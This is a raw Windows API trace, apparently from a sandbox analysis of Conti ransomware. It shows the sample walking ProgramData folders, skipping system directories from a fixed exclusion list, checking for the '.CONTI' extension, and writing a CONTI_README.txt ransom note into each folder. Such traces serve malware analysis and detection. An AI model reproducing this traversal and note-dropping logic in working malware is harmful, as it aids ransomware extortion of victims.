	[0103.890] FindNextFileW (in: hFindFile=0x17c85b0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4badec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51c4a23e, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0103.890] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0103.890] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0103.890] FindNextFileW (in: hFindFile=0x17c85b0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51c4a23e, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x51c4a23e, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x51c4a23e, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0103.890] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0103.890] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0103.890] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0103.890] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0103.890] FindNextFileW (in: hFindFile=0x17c85b0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bb986, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="PaidWiFi", cAlternateFileName="")) returned 1
	[0103.890] lstrcmpiW (lpString1="PaidWiFi", lpString2=".") returned 1
	[0103.890] lstrcmpiW (lpString1="PaidWiFi", lpString2="..") returned 1
	[0103.890] lstrcmpiW (lpString1="PaidWiFi", lpString2="tmp") returned -1
	[0103.890] lstrcmpiW (lpString1="PaidWiFi", lpString2="winnt") returned -1
	[0103.890] lstrcmpiW (lpString1="PaidWiFi", lpString2="Application Data") returned 1
	[0103.890] lstrcmpiW (lpString1="PaidWiFi", lpString2="AppData") returned 1
	[0103.890] lstrcmpiW (lpString1="PaidWiFi", lpString2="temp") returned -1
	[0103.890] lstrcmpiW (lpString1="PaidWiFi", lpString2="thumb") returned -1
	[0103.890] lstrcmpiW (lpString1="PaidWiFi", lpString2="$Recycle.Bin") returned 1
	[0103.891] lstrcmpiW (lpString1="PaidWiFi", lpString2="$RECYCLE.BIN") returned 1
	[0103.891] lstrcmpiW (lpString1="PaidWiFi", lpString2="System Volume Information") returned -1
	[0103.891] lstrcmpiW (lpString1="PaidWiFi", lpString2="Program Files") returned -1
	[0103.891] lstrcmpiW (lpString1="PaidWiFi", lpString2="Program Files (x86)") returned -1
	[0103.891] lstrcmpiW (lpString1="PaidWiFi", lpString2="Boot") returned 1
	[0103.891] lstrcmpiW (lpString1="PaidWiFi", lpString2="Windows") returned -1
	[0103.891] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\DataMart") returned 33
	[0103.891] lstrlenW (lpString="PaidWiFi") returned 8
	[0103.891] GetProcessHeap () returned 0x1720000
	[0103.891] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x56) returned 0x17c1028
	[0103.891] lstrcpyW (in: lpString1=0x17c1028, lpString2="C:\\ProgramData\\Microsoft\\DataMart" | out: lpString1="C:\\ProgramData\\Microsoft\\DataMart") returned="C:\\ProgramData\\Microsoft\\DataMart"
	[0103.891] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\DataMart", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\DataMart\\") returned="C:\\ProgramData\\Microsoft\\DataMart\\"
	[0103.891] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\DataMart\\", lpString2="PaidWiFi" | out: lpString1="C:\\ProgramData\\Microsoft\\DataMart\\PaidWiFi") returned="C:\\ProgramData\\Microsoft\\DataMart\\PaidWiFi"
	[0103.891] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\DataMart\\PaidWiFi") returned 42
	[0103.891] GetProcessHeap () returned 0x1720000
	[0103.891] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x5a) returned 0x17c09f0
	[0103.891] lstrcpyW (in: lpString1=0x17c09f0, lpString2="C:\\ProgramData\\Microsoft\\DataMart\\PaidWiFi" | out: lpString1="C:\\ProgramData\\Microsoft\\DataMart\\PaidWiFi") returned="C:\\ProgramData\\Microsoft\\DataMart\\PaidWiFi"
	[0103.891] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\DataMart\\PaidWiFi", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\DataMart\\PaidWiFi\\*") returned="C:\\ProgramData\\Microsoft\\DataMart\\PaidWiFi\\*"
	[0103.891] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\DataMart\\PaidWiFi") returned 42
	[0103.891] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0103.891] GetProcessHeap () returned 0x1720000
	[0103.891] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x78) returned 0x17e38d8
	[0103.891] lstrcpyW (in: lpString1=0x17e38d8, lpString2="C:\\ProgramData\\Microsoft\\DataMart\\PaidWiFi" | out: lpString1="C:\\ProgramData\\Microsoft\\DataMart\\PaidWiFi") returned="C:\\ProgramData\\Microsoft\\DataMart\\PaidWiFi"
	[0103.891] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\DataMart\\PaidWiFi", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\DataMart\\PaidWiFi\\") returned="C:\\ProgramData\\Microsoft\\DataMart\\PaidWiFi\\"
	[0103.891] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\DataMart\\PaidWiFi\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\DataMart\\PaidWiFi\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\DataMart\\PaidWiFi\\CONTI_README.txt"
	[0103.891] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\DataMart\\PaidWiFi\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\datamart\\paidwifi\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0103.892] GetProcessHeap () returned 0x1720000
	[0103.892] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e38d8 | out: hHeap=0x1720000) returned 1
	[0103.892] WriteFile (in: hFile=0x324, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f13c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f13c*=0xa2, lpOverlapped=0x0) returned 1
	[0103.893] CloseHandle (hObject=0x324) returned 1
	[0103.893] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\DataMart\\PaidWiFi\\*", lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bb986, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51c4a23e, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c8270
	[0103.894] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0103.894] FindNextFileW (in: hFindFile=0x17c8270, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bb986, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51c4a23e, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0103.895] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0103.895] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0103.895] FindNextFileW (in: hFindFile=0x17c8270, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51c4a23e, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x51c4a23e, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x51c4a23e, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0103.895] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0103.895] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0103.895] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0103.895] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0103.895] FindNextFileW (in: hFindFile=0x17c8270, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51c4a23e, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x51c4a23e, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x51c4a23e, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 0
	[0103.895] GetProcessHeap () returned 0x1720000
	[0103.895] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c09f0 | out: hHeap=0x1720000) returned 1
	[0103.895] FindClose (in: hFindFile=0x17c8270 | out: hFindFile=0x17c8270) returned 1
	[0103.896] GetProcessHeap () returned 0x1720000
	[0103.896] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c1028 | out: hHeap=0x1720000) returned 1
	[0103.896] FindNextFileW (in: hFindFile=0x17c85b0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bb986, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="PaidWiFi", cAlternateFileName="")) returned 0
	[0103.896] GetProcessHeap () returned 0x1720000
	[0103.896] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d4b8 | out: hHeap=0x1720000) returned 1
	[0103.896] FindClose (in: hFindFile=0x17c85b0 | out: hFindFile=0x17c85b0) returned 1
	[0103.896] GetProcessHeap () returned 0x1720000
	[0103.896] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d288 | out: hHeap=0x1720000) returned 1
	[0103.896] FindNextFileW (in: hFindFile=0x17c83f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bc8c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="Device Stage", cAlternateFileName="DEVICE~1")) returned 1
	[0103.896] lstrcmpiW (lpString1="Device Stage", lpString2=".") returned 1
	[0103.896] lstrcmpiW (lpString1="Device Stage", lpString2="..") returned 1
	[0103.896] lstrcmpiW (lpString1="Device Stage", lpString2="tmp") returned -1
	[0103.896] lstrcmpiW (lpString1="Device Stage", lpString2="winnt") returned -1
	[0103.896] lstrcmpiW (lpString1="Device Stage", lpString2="Application Data") returned 1
	[0103.896] lstrcmpiW (lpString1="Device Stage", lpString2="AppData") returned 1
	[0103.896] lstrcmpiW (lpString1="Device Stage", lpString2="temp") returned -1
	[0103.896] lstrcmpiW (lpString1="Device Stage", lpString2="thumb") returned -1
	[0103.896] lstrcmpiW (lpString1="Device Stage", lpString2="$Recycle.Bin") returned 1
	[0103.896] lstrcmpiW (lpString1="Device Stage", lpString2="$RECYCLE.BIN") returned 1
	[0103.896] lstrcmpiW (lpString1="Device Stage", lpString2="System Volume Information") returned -1
	[0103.896] lstrcmpiW (lpString1="Device Stage", lpString2="Program Files") returned -1
	[0103.896] lstrcmpiW (lpString1="Device Stage", lpString2="Program Files (x86)") returned -1
	[0103.896] lstrcmpiW (lpString1="Device Stage", lpString2="Boot") returned 1
	[0103.896] lstrcmpiW (lpString1="Device Stage", lpString2="Windows") returned -1
	[0103.896] lstrlenW (lpString="C:\\ProgramData\\Microsoft") returned 24
	[0103.896] lstrlenW (lpString="Device Stage") returned 12
	[0103.896] GetProcessHeap () returned 0x1720000
	[0103.896] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x4c) returned 0x17bf180
	[0103.896] lstrcpyW (in: lpString1=0x17bf180, lpString2="C:\\ProgramData\\Microsoft" | out: lpString1="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft"
	[0103.896] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\"
	[0103.896] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\", lpString2="Device Stage" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage") returned="C:\\ProgramData\\Microsoft\\Device Stage"
	[0103.896] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage") returned 37
	[0103.896] GetProcessHeap () returned 0x1720000
	[0103.896] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x50) returned 0x17beec0
	[0103.896] lstrcpyW (in: lpString1=0x17beec0, lpString2="C:\\ProgramData\\Microsoft\\Device Stage" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage") returned="C:\\ProgramData\\Microsoft\\Device Stage"
	[0103.897] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\*") returned="C:\\ProgramData\\Microsoft\\Device Stage\\*"
	[0103.897] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage") returned 37
	[0103.897] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0103.897] GetProcessHeap () returned 0x1720000
	[0103.897] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x6e) returned 0x1740820
	[0103.897] lstrcpyW (in: lpString1=0x1740820, lpString2="C:\\ProgramData\\Microsoft\\Device Stage" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage") returned="C:\\ProgramData\\Microsoft\\Device Stage"
	[0103.897] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\"
	[0103.897] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Device Stage\\CONTI_README.txt"
	[0103.897] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\device stage\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0103.897] GetProcessHeap () returned 0x1720000
	[0103.897] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740820 | out: hHeap=0x1720000) returned 1
	[0103.897] WriteFile (in: hFile=0x30c, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f3ac, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f3ac*=0xa2, lpOverlapped=0x0) returned 1
	[0103.898] CloseHandle (hObject=0x30c) returned 1
	[0103.898] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\*", lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bc8c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51c4a23e, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c8570
	[0103.898] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0103.898] FindNextFileW (in: hFindFile=0x17c8570, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bc8c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51c4a23e, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0103.899] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0103.899] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0103.899] FindNextFileW (in: hFindFile=0x17c8570, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51c4a23e, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x51c4a23e, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x51c4a23e, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0103.899] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0103.899] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0103.899] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0103.899] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0103.899] FindNextFileW (in: hFindFile=0x17c8570, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bd6f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="Device", cAlternateFileName="")) returned 1
	[0103.899] lstrcmpiW (lpString1="Device", lpString2=".") returned 1
	[0103.899] lstrcmpiW (lpString1="Device", lpString2="..") returned 1
	[0103.899] lstrcmpiW (lpString1="Device", lpString2="tmp") returned -1
	[0103.900] lstrcmpiW (lpString1="Device", lpString2="winnt") returned -1
	[0103.900] lstrcmpiW (lpString1="Device", lpString2="Application Data") returned 1
	[0103.900] lstrcmpiW (lpString1="Device", lpString2="AppData") returned 1
	[0103.900] lstrcmpiW (lpString1="Device", lpString2="temp") returned -1
	[0103.900] lstrcmpiW (lpString1="Device", lpString2="thumb") returned -1
	[0103.900] lstrcmpiW (lpString1="Device", lpString2="$Recycle.Bin") returned 1
	[0103.900] lstrcmpiW (lpString1="Device", lpString2="$RECYCLE.BIN") returned 1
	[0103.900] lstrcmpiW (lpString1="Device", lpString2="System Volume Information") returned -1
	[0103.900] lstrcmpiW (lpString1="Device", lpString2="Program Files") returned -1
	[0103.900] lstrcmpiW (lpString1="Device", lpString2="Program Files (x86)") returned -1
	[0103.900] lstrcmpiW (lpString1="Device", lpString2="Boot") returned 1
	[0103.900] lstrcmpiW (lpString1="Device", lpString2="Windows") returned -1
	[0103.900] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage") returned 37
	[0103.900] lstrlenW (lpString="Device") returned 6
	[0103.900] GetProcessHeap () returned 0x1720000
	[0103.900] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x5a) returned 0x17c0ac0
	[0103.900] lstrcpyW (in: lpString1=0x17c0ac0, lpString2="C:\\ProgramData\\Microsoft\\Device Stage" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage") returned="C:\\ProgramData\\Microsoft\\Device Stage"
	[0103.900] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\"
	[0103.900] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\", lpString2="Device" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device"
	[0103.900] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Device") returned 44
	[0103.900] GetProcessHeap () returned 0x1720000
	[0103.900] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x5e) returned 0x17c0cc8
	[0103.900] lstrcpyW (in: lpString1=0x17c0cc8, lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Device" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device"
	[0103.900] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\*") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\*"
	[0103.900] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Device") returned 44
	[0103.900] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0103.900] GetProcessHeap () returned 0x1720000
	[0103.900] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7c) returned 0x176bac8
	[0103.900] lstrcpyW (in: lpString1=0x176bac8, lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Device" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device"
	[0103.900] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\"
	[0103.900] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\CONTI_README.txt"
	[0103.900] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0103.902] GetProcessHeap () returned 0x1720000
	[0103.902] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x176bac8 | out: hHeap=0x1720000) returned 1
	[0103.902] WriteFile (in: hFile=0x324, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f13c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f13c*=0xa2, lpOverlapped=0x0) returned 1
	[0103.903] CloseHandle (hObject=0x324) returned 1
	[0103.903] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\*", lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bd6f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51c4a23e, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c7f30
	[0103.903] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0103.903] FindNextFileW (in: hFindFile=0x17c7f30, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bd6f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51c4a23e, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0103.903] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0103.903] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0103.903] FindNextFileW (in: hFindFile=0x17c7f30, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51c4a23e, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x51c4a23e, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x51c4a23e, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0103.903] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0103.903] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0103.903] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0103.904] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
